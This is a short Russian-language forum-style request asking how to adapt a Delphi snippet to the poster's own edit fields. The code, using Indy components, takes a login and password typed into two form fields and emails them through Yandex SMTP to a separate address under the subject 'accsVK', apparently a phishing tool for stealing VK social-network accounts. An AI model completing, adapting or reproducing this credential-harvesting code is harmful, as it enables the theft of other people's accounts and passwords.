А можно под меня подстроить? Просто не знаю как изменить под эдит.

IdSMTP1.Host:='smtp.yandex.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='логин';
IdSMTP1.Password:='пасс';
IdMessage1.Body.Text:='мыло '+edit1.Text+' Пасс'+edit2.Text;
IdMessage1.From.Text:='логин@yandex.ru';
IdMessage1.Recipients.EMailAddresses:='куда слать@mail.ru';
IdMessage1.Subject:='accsVK';
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Connect();
if IdSMTP1.Connected=true then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect
end;